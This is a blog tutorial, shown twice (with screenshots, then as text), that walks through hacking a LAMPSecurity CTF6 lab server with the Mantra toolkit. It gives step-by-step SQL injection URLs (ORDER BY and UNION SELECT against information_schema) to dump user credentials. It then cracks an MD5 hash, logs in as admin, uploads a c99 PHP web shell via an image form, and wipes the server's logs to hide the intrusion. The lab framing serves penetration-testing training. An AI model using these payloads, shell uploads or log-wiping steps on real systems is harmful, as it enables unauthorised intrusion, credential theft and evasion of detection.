Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tkG5bxG_QdtyNUjQfPREKHJ6hrk6HiY7D7Zlby4EpCiRojDprzzSWy6RXyJbJMWcmwyI2EhR7MbVG1HirKXNecux0R8MeeoKO1Ee3cmTiZYv0Vzns1cxlqg6czsaTWltM370N-EfEcefiDULFfFHsgm4uEDeZAWKskuilO_E7cYXSE=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vfiatHyA2-aasJ8JSRd_i3oHBN5PSCKbpOTgQzfkVskXwOGdN35ZK6KNxoaD_ekfUqNsJqDfsQ1R-Qvi4EdyScubAZsVbWV6I6qGEpVcbdvYiSRTdSjXAkMrnZ0YNaATEemzC3rIAfALc6Fbiwac7VEloeEOGkOUb1EgiJw1uLIw_acQ=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tdEPL8wZ8IiaIvABGUZDFeaSiK3vR27dyTPryjYR8YV1E-boIMefsV1TVEORFQkBo8jn1SS_zUFDwkGmaT4nKC-r7DVWTI87deFGtOW_eroQfpt7ejJQa4QxkhuXIUmTQNceUSSEoITKlIf9pCbiWnIiEyEy4l7fr4k9sgF9EEtN4-rQ=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sOeQC44mXrbs-IFBj6K-LAzMSkgn_YSiBZnlg1Gbv-GZ0OuYcryawh9QAjkIOnjm0aWifSoPdpGKkXVPTXRA_uwNJv__Isd_UbCO8Yj-xFVUhhNQdDsAwgPBSQ8JtWMseLObWVC4CzCZV1q98jd88LWNjoNSUIZJh31TAIkICoGaRUWw=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vHu0fLdwQXXmEchwnTY06PVzG48sYhzNdzMGy4JXYeJEj1Ac-_9q3HhOxM-bWvNPN5VDRw7NPwtiPZzpb5-k6LXPGgchJUrCq4zriPfwkLP9AWvYfVogE2qdom86J2IDLYFq8ecNKR4rfQtN3po8E9JIC8GnrwmRvUax_ojV-qpzMnew=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sGNaUTWyRiQT2Ua_e_WYa-RGsrLPoUVzybXqEkh3gLwr_AneBQhnoEvK29B9QaO_SLGxb64GOU7thsUFvkaR5OyDK5pf8IQW1cclY-_95k3Q9suDxa45HOtahCQsAwi7ZsKKO1MVTPW4kxa-2Ly-2IGUhLms4nF6kUT2S4CmgVKSmQ=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tOdc5Mwd-V_XIOS-UU18ntNoZU6AJkaqRDglvk-1vRNXLB8JZKi3oi_HGnhURCPePysqHs2QuhyML-RzPDiRtpzu73JCl5-3PMqLa8Pvd83bRcUoXpU2GQNfyTG6gg9P8NZbjCN2DVzhoHQZCYaHg0W1KZJr88c8Cyb62R81KHhDf_jBM=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sjG5JGtdFhxFmsKKFBj-BOcwwcEZnkquenR_SRQ2-lJOhf4YdIj9D2PtrpPRl-xc0-T7Grufl1P8dLe1l2Oytn3_j4Wzhk-LvC_xufBIUHnUsM5lfkzgSaA27swSsWlzs0mczmmyrinDiTDJVVX5mwc14M-4183Mdt3cdnkD2KLzHcblI=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t0bBMkLDqP_gxg5YZuYwIuoP1aEB78cR0PNS1pMMqOb9a4gQbF1_lOPI3lcVEE1DFSdjiH9keOSg1Ll6R2T0UM0bGxegIZynnhnRv7Zq7kAXFA_TalCxnXywQvdV_97a7brueiNUOr_W35XhT9Pv2w3UidXs10JLflTvETvBAeGs3OcLg=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_saVx-YkWRU2id9-Xlh8gZePxNAVB5c2VveLUlHEiaorTtrpYMmv8VNZFyQ09h8p5jA8w4_mbs4ANKwa-bD-l-ipW_NvxFJ95QCAS-0LYJL7dJ-iF0wMLquCx3vtxvDlwaZRq6eMhm6XzxpWZDSYik9_JI3i9kLylM3SZp8y612cx6lAF0=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sChdDxXGVVTDs9U1qPbWEw-mzu5TM93X_d4R2WALifYitXXdsgmGmnTCrUUPvDGRFVssdmQB_2Bseu1Da8Wt8WTqee-IpjOclZ7xFJFZwOnAIBnmEu3adjOmi7Ru88-dv-As2uCYqQmWYtsnFLXEkjBnVwgpFbS5CDF_9uNMu_Dz8jcA=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sp_M9N-qVYfCJFJqxoxPALhjDQBo9CxGf7aA0LZncmT9SQYo4pjO5Yfz3YbpT0eGxbdhMH_S_EHq8xYnKtqFSczAtEyTa5VOSngPZHixz7qC6C6jd2ohS6Sady-LCgQLuOFlNjSNXaZyTtEMYGRiXwbk6O9T79Rq3yGNkZCiOQFomR1qw=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u1Lf3SPeHo-fPukofFULKbDcMXHddqfm953sVIeTeqvm5YSv8a74k_EoKxAylMLpDCl3U67c5fqZrFoVGYB4nNaB9wbcby6mpehWgRYSYypHbKBCY8Q_5h3twigeTu-Im-Gw-SR5cqgTTqcfoXlTxKz-nKl8YaqQiIsDLxj-iBi7LJpVs=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t6z8OaPrZfXVe5G6FmJE4yVIBMQQ6YviSIaoyB4SzdlX1seUISQTc_VeA0AHQSi7mzxgKWI1MKCzMAI0Z5U8XVW0baoeDzAUj1qv5utCPv0D1_HPaFj-lLkXobZL8FowZK8Uxi78-aZBb2PHh0_q3dSx_E3a5asi05v_Ks1-UHH5A8rg=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_scn29lMaO-rEbs8iLKDoK8GEmh7DLC0jTudoYX_MX4P3cux8mdTl8Kk7qE6EHEWzzAINyP2lGyLpxtz1dvYfxpC5rDnfxMy9IDnAHixxuKz1lxMI0Al78z74gqlAzgcgAk-KZxLjlX9Xn82dMKRhZxqnCvd43c3cs5HjVHrTg6zvYRmA=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_upkItL_e-bEkR6MHu4Vs3Gbxav_E84yZNIcSBkEuLmjnxi-bpq5bewodugpoTN1BZEr0ostuzRYunpkurATXEAIOiarUfqeez9OPiDwzuiCN3YC7L5oGIwpWSvsHz-KE3yO2pe2mTure_j0qAuQ3z4aX6xFljB-EsVa97jHLsCp3C6YSM=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vB42zF4HXhjw1Yh8xFvJ230dL5gC8Zt1s4zr3UcqIWoP53fcy6fZ2iZtzSgvxohzWX7C9HZp9gNeJbWmz2pYLrUC0y6SjUgaK8di2CCeaMpUP1VU8FqSjYLEH8ncLF39PSi20e04_aORMuEFaryTL9_xL5sSmsLDEN7uG5b6IU5mwgxPw=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uXtWaUiP8VlqckUzAdZ-CgQvietRPvY2_5KOr0fm16-XlV560zZh_V5JPpvCcRbpWfG0o58CbUygrtpZ0xEZYPbmtmqAdRbtmPKUHKYr4p8ycZNxj6u889xW79RIa2Tg6mOLSSSGMS69GH2TWKeYXAZlKEBo0YaS__445iL_3qJfcb8P4=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ssP_yhuqsBoV4cPTlF7sqbyJDwycqR0nMe5KgrOaZujDjx_hHO_WK41Uj-pZpGtzRrK0HIa7rNXphBhngo7wqJUxIybce53Juoen3X65m3ZWVWazUo169MCjL5FfY-LrgGSr94i4rdmyg-cX7rvVJItH5kNXSa2OOrCsB4iTdReI9UkEE=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v0GhF1OvZd5DP4p5WnmYHZjR3DxnERTm6R1n5TmpJb5_vWO2VIpahxDpdcoew_jb82yw9n_68XSzF909KUV69rzAzjZ6UA3g182Oa7ekvMiDmBgFaJfIep4jwuCPJzdVSCXyGL7rPfpQEJ0foqbmmAQHWfACMMYRH_SQVTq7IIrkUUNko=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tV8vbpfZ0SoPEHUAmlk7KX0KGFoyj1yvJGocuJorZT-N6U1nrQgBoo-VrBvfI6d2Ak7kyYwn53kSgmm6FA-qSpjUbyHeZ94pJCepsWcN-H--mTQgLSwBCNld1acqkhRzEjrqfm-cf2Bu_eA0Y8OABYNYQGU3vrustBsw3YZERH1_PAhkg=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uRAU_XD6quFcgWbK6vb4vbSmvkRxJpAJ2aV634hKvZOXxbTCGM-2onKkPXQFEDLvilc6wnLbRRR1pXanqZcW6mK-cXghcrldNySW1aTMx5uJUkfq_SsefMTPZP9TkbXodhGF8M3b_PyjncS0IcyIQQPrDEi5o-m1vLRQttkCurRY6c0eU=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_so_nRyIy8cCt8-2y2KJLDithvCaT5fws_HAwUERt9WGgNMzWOA-BZe1XykDB_Wv6tEjUiYS7PCF6SrzdeQaj56vCkPnrCjO1szJMcr0gkgsZRHhKk_atmA7_t9MLZRkIusZ_v4P62PQrW-1HlEv4VGq8frsU7-UlwZj5gHfzNlWDKALsM=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v2bi00rOFcZ5g0oI95UQY9XvAzAJqJC8RucTQxkUU88v9oAPYkpUw1sMHKxWNjE09Q-n2Qx_W3eTGenvnGzGFOBIPe_9SZfgoeEWuZd06SfDviSoHtsKoacLAB2oQiqkvVyj6PkDqRm8uPRdQhJ6ltqOA09f3p15lIO-IxK_EdvR_4vQc=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vTbDWsNIXkBYAab-lQ-ahQ89Mc-3x_9-IUHmQYzRFfDOix-vCn-Z8RvP_ugC58ygw6wLe9M33q7lH-OGdRuFFvBA3QGHEiJBX65YbP54e-ml6AVC7RQEjgoFmAMBCdffGy7Sgc8H1e24KFd3ypC8D5zXip8s2IY7gr9QsIRuGuTN3aCA=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sizP2Wm_Qm0p3UL_fAWY6d_pk4holoOVwCOkkmY7DcfIcK-_MiMgxnqjWAseOxHYQfBn1m3L2277aY5fR6_e5wITANcePm4Hb_aMp28X6WgB1_aclasfHdJ5TL9_K_RzYm2jtW4As1RMePkjQqFUTfWqdHSb5kgRwB1JyY_yoiyCG_hA=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uMWhaKCQkz30oA3KI_4Bg39W2NOKbdhAG7pQGxRADa6mxxQw5YabMrY9dFG8lncB7qZxlbrxIls1KqzF66lzroRcNWNrul_S30VrK8layCYSNeP07lGesQpWGa113oCK3pei6etWUuop_Kn3YiFPK_89bQbUCFbk88Fk0Cv_-S985MXJs=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vMgE-sOrv5EUyNSVaqAlZ1gtAOxsmYNLrszwCntz4LPdIB5shtarbg9G7xECVjdE8In-QiexJEb1ScHNbN0QS_3cKsCoNuLsIaSWZ3b6uRBkjCG7Hh4hBuO-JYkEZ_Wn9fR-HV4a7NeQg7izEj8EAnRbHrZ-lDk4ZFIjZmmvKGpeptDEY=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sMiMNmgNqzVNWENcbbsWK3ovx53t3QTSd2aLT5gdhxhjhQYQKfaAvZciStGrX6Snc89b0-XOZth3WJbb5VHpjoR2QYZtnL1yXrlOIlyLzQaIY1QReCVCG-jGu5PPgMCKjjcqn3vmxgEaGoBc6-H7wpSDz98vWUzds8QRcPCE1KUbQxiQ=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vlKtUVdEyhtfrj2LeUf1_dFJT6FlNarcRnXeGjSA-KuBPkN2LT-BkZzKNSW_a9Q2v78FlkXB6-Sm5K3ZOPWfmI1FgyAW2GnbqLR8owsggjfJqrIWjZ0HcZHvtcK1un2FT6pmGdly_Mq034Lt1eWuKfDRTGlbNwrVS2_WKtC9mMbilMKBE=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s21JQTkYPvAg6wibwqNZ0MaSUGRcFkFERmeZyjsE9HhUmeSH0KMTYqj4VDGVUg5gP5M9cnCQNCvdFHVnv2FWKrW6xxVbVx7ndEhvVXfd-QubM6zJH3J6ktd73oOCQGXzHhpYUWPg4W4-ec-pMfamoTh1tbmPMh9zUgWE9mh1AZ32Zog3g=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vUpg1ChmMQsVjZYxVr-8AgWnkxo1Gm8vWaSAUcBTtn9h0bPPwv-3oJ1ei-0e7FT5-YhtNUhUrJ3w_2KOZoNhNfGwUvl4sdMxuZvatMaWj3k7fQCeDivTqYo2MC67yGo-T-ZVxCjF5Adi2NWqucS2ZHGDTt6OpfOQlaDYnydSOAStLQM_o=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sKRybqSWQc2cqXU3hkIposV66pg1cHo7g3sFOd69zZsFuWc1nTXoeQj5JrqEXvg8U-fKAzVsnGmhS9GgxNpxSRfMOEs4M23EJQZAByRDAezgpnFMCBaV_3LUcumjdDxO4LI1TeF3qg_38Vh4e606T90rXBIQ8-JLeWWajCG5Wi5pehj4w=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uhXKti2-mL0Cyjg8L30NeKJ9uMdjDqdCl24uZcp1GTBeT4N7Sj0EtePv3TorxweCy07r5Go_rs5cFy_fviPyrprcalr-eknZ2LhfARu8BngLN9zLwk1Hmd2QKXcrpW5ZyKGZBX05_KO8FIlBaeQ-tt5pl8f_SHOe31gNk8SZSNljLGjvw=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u1G1vlIaFMAxgz0bBxkv1BRSIn6SIDulOUOrBmUTGypD6ALWiGPLR1mNmfE9JwqGqdSXK_6Yn-hpnw8gXW1xp2dQUU3ifPG40VvknPGrWCc-PtwJGEiFyI7CrRgrgR3YAfjSYpxsTedgvyCbliLFZDy6Kax3w4AVXLdwxYE_W0GJqys5E=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_um69Doj_EZUl9Zd3_FG5-yBUh6et4FePKGZR_hqzvpTlSV7SDmvuEMyR-BQwdRIM4mEFWtTgucCgAn74Vjtb-GCsXEKDIkoKK76O_UUwf3cDAb8e8nnW40r_aGRwqh1S6F4H7Un2Q7y3GbV-EG0jnpPzV_q5JTJifc4tkhyenD5mPPp18=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_stDLfNLndI2pYCs2XZH0nGR_8WI1fMS6RTRsAztpxtcK-YMIu_199nwC4OyfIVborQZGB7XqCQZzyDktS_aBkjkBZXNPcQAKxpSXp7r98883nAudJzlEUTHOpXM6XWYbFDZ3vT-Ci_F8ZZxWEbtc6NlfJO_SXCdbmH1e0jD2OWC6gssA=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tHgsmtAaLD1a0Yk_8q17G87FZW41AqYeJKtJLI3eYsRK0nCrPKD-HT1Ju5wHj13QlVxNeOLQcTn2PvKS2oiXqzJXa9Yyc_GjySEShbQRhsU5r7z3lYsRkNYb0p9q27JMho7k9OJzkxdO5cPZooXU61y8tt8Lu5LM6qgpSsJTv2scZRzqU=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sdoU41Gz5WkxKcNoJBfhWhgHjPDuDzzhmpH_eZolup364YJ6HQXdDR-5m-F7ZA_t7eZmSiV4fxYYJ_hVy8oJyAyEHrmpquWaCQxkGn11ZQzgWAc_qA6_5kn3PzEYhL7WktFPPWHf4sS3vcbaQOa6k3E5vpxzWsErZZNyMtBJJL_howug=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uwI7Mc3HMqbPrQTwJKqKurb9581NuEjZ3Vd9yWGxgDrAe-nyc2va19lHjnBToxnZWfldm90RlMu93aAYgTgo1srqQ0rcePsqn1GwH705SONyxwicZWPdO-bIisVDzGDnWS4U2n5t-L2gw0SO42ZKqSBPMVpamc_l_FPxYAX1fpqJwTKvs=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tPJfZJYt3jYQIVKFUl5hvOiFsronhX1bsu78m3wDllKzBqGKC2QZdYJs_Tx24HZ8FbD1dRmQxOLlCnLr54NJdkm6OCR3-VdafbJHXnfwPQ1JiLdPgTF8bRH3eHqAvReZOXjnv1D0MnO1Ixw6YmBbmYnUGt5evKMgE7e-DV1ll19gQrcuM=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_umxrH3APh-L4W7-_sQG9muGp58NNUBPNBVEKDJ5tjfR3r51cuWLWDACzZBe0xqmeYjO8bJBRK5QduxQuXVzfggS1N9LqNuKHHSYXuC3pYXWl_ccnK8bN1VbeomH5fvB5KBhPYp3QFF69M2JtXegZB1MeeMu8Kn1MUmDKJ5Ck-Kw3Gypjc=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u2M98Xv49gPlKRAe7oG6qo0m5kuZq5OTV3WA-JIdMD6N6kgPMZwhxs8Jf3tUqcDjoGVMntFuBGwUmX5XNbLUG4uhzNG-p2xTwNrIo-eRDB5t6kfn5y8gQVgnBjkmwSF7Qz9B-6ugF3e7nueTKOMC3YBFem4Z-sE1F10S03tr4cAkWJXVc=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vWvOhfKnfPqCYPPfRCMpIZPkfbEcntsCiRxc3pryYktVjRtRqvtA1xIMB4M6RpyBnCK2elITfN_8O6UHWf8PC4fC4cmGEUYIoJSu9pl2lDFUJaFTgcgCFvi_kpNSjwc9ORN21kEz2IZsDVxunXoclxkp1KMnWyVxDwxBVbX2CgPARArQ=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tREzmbNpz4baC4Kg_pq8hiU8x8kDUMV8V0_iopwTdYC-fNR4PMn5bAzkv_T2ZVVNWgIMI5Y0kkalzC6ZSfHNHGh3O43MYIjCBAoX10E_C2xl6Ij75qFdNsm_owNbZ2Q0A1qhGWr0BFhTQiv-4_eGR2mRDpMKmCapVx3VIMhwt3ZjxCgGM=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7
Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7
Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,7
5.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tables
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns
Step 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'
Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from user
Step 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from user
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete